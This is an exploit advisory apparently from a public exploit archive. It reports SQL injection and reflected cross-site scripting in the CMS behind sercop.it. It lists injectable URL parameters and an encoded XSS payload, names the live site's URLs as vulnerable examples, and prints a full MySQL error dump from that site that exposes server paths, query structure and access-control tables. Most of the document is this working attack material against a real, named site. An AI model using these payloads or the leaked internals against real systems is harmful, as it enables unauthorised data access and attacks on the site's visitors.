###################################################################
# Exploit Title : Sercop Via dei Cornaggia XSS SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 24/08/2019
# Vendor Homepage : sercop.it
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-79 [ Improper Neutralization of Input During
Web Page Generation ('Cross-site Scripting') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
###################################################################
# Impact :
***********
Sercop Via dei Cornaggia is prone to an SQL-injection
vulnerability because it fails to sufficiently sanitize user-supplied data before using
it in an SQL query. Exploiting this issue could allow an attacker to compromise the
application, access or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
Reflected XSS (or Non-Persistent) :
***************************************
The server reads data directly from the HTTP request and reflects it back in the
HTTP response. Reflected XSS exploits occur when an attacker causes a victim to
supply dangerous content to a vulnerable web application, which is then reflected back
to the victim and executed by the web browser. The most common mechanism for
delivering malicious content is to include it as a parameter in a URL that is
posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
the content is executed by the victim's browser.
###################################################################
# SQL Injection Exploit :
**********************
/index.php?section_id=[ID-NUMBER]&p=articles&o=view&article_id=[SQL Injection]
/index.php?section_id=[ID-NUMBER]&p=news&o=view&pieceofnews_id=[SQL Injection]
# Cross Site Scripting XSS Exploit :
********************************
/index.php?section_id=112&p=news&o=view&pieceofnews_id=1%27
%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EXSS-Vulnerability-Found-
By-KingSkrupellos%3C/font%3E%3C/marquee%3E
###################################################################
# Example Vulnerable Sites :
*************************
[+] sercop.it/index.php?section_id=112&p=news&o=view&pieceofnews_id=1%27
[+] sercop.it/index.php?section_id=112&p=news&o=view&pieceofnews_id=1%27
%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EXSS-Vulnerability-Found-
By-KingSkrupellos%3C/font%3E%3C/marquee%3E
###################################################################
# Example SQL Database Error :
****************************
ERR /var/www/cms-mol-produzione/sercop/release-beta/engine/Model.php 132
_doQuery: [Error message: Could not execute statement]
[Last executed query: select tr.*, a.site_id, a.creation_date, a.owner_id,
a.owner_del, a.owner_edit, a.modified_date, a.modifier_id, a.cond,
a.cond_term from (select e.*
group_concat(cd9.category_id separator ' , ') as categories,
group_concat(cd10.name separator ' , ') as categories_names,
group_concat(path separator ';') as paths,
group_concat(pathname separator ';') as pathnames
from (select cd6.*,
group_concat(cd8.name separator ' , ') as pathname,
group_concat(cd7.parent_category_id separator ' , ') as path
from news_categories cd6
join categories_tree cd7 on cd6.category_id=cd7.category_id
join categories cd8 on cd8.category_id=cd7.parent_category_id group
by pieceofnews_id, cd6.category_id order by cd7.level) as cd9
join categories cd10 on cd9.category_id=cd10.category_id
group by pieceofnews_id) as cd11 on (cd11.pieceofnews_id=e.pieceofnews_id)
where
e.pieceofnews_id = 1' ) tr, acls a
where
a.acl_id=tr.acl_id
and a.site_id = 1 and (((a.cond = 'memberOf') and (a.cond_term in ('visitatore'))))]
[Native code: 1064]
[Native message: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near '' ) tr, acls a
where
a.acl_id=tr.acl_id
and a.site_id = 1 and (((a.cond = 'm' at line 34]
###################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###################################################################